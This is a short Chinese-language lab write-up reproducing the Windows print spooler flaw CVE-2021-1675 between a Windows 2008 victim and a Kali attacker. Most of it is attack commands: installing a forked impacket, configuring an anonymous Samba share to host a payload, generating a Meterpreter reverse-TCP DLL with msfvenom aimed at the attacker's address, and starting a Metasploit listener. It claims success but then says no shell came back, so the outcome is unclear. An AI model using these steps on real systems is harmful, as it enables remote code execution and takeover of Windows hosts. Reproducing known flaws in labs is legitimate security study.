微软通杀漏洞-CVE-2021-1675复现

环境

win2008受害机
IP：10.20.102.80
kali攻击机
IP：10.20.102.83

需要一个普通的域用户，开启Spooler服务

安装impacket

git clone https://github.com/cube0x0/impacket
cd impacket
sudo python3 ./setup.py install

开启匿名访问smb

配置/etc/samba/smb.conf

[global]
map to guest = Bad User
server role = standalone server
usershare allow guests = yes
idmap config * : backend = tdb
smb ports = 445

[smb]
comment = Samba
path = /tmp/
guest ok = yes
read only = no
browsable = yes

配置完启动sudo service smbd start

因为spoolsv.exe是x64的，所以生成的dll也得是x64

msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.20.102.83 LPORT=7893 -f dll -o /tmp/rever.dll

开启监听

msfconsole
use exploit/multi/handler 
set payload windows/x64/meterpreter/reverse_tcp
set lhost 10.20.102.83
set lport 7893
run

成功

找了好久原因，反射不回来shell
参考：
https://blog.youkuaiyun.com/weixin_42345596/article/details/118544065
https://shanfenglan.blog.youkuaiyun.com/article/details/118575509
https://mp.weixin.qq.com/s/n_9kV2L8sdPNVL3-61zLEQ
https://zhuanlan.zhihu.com/p/387083410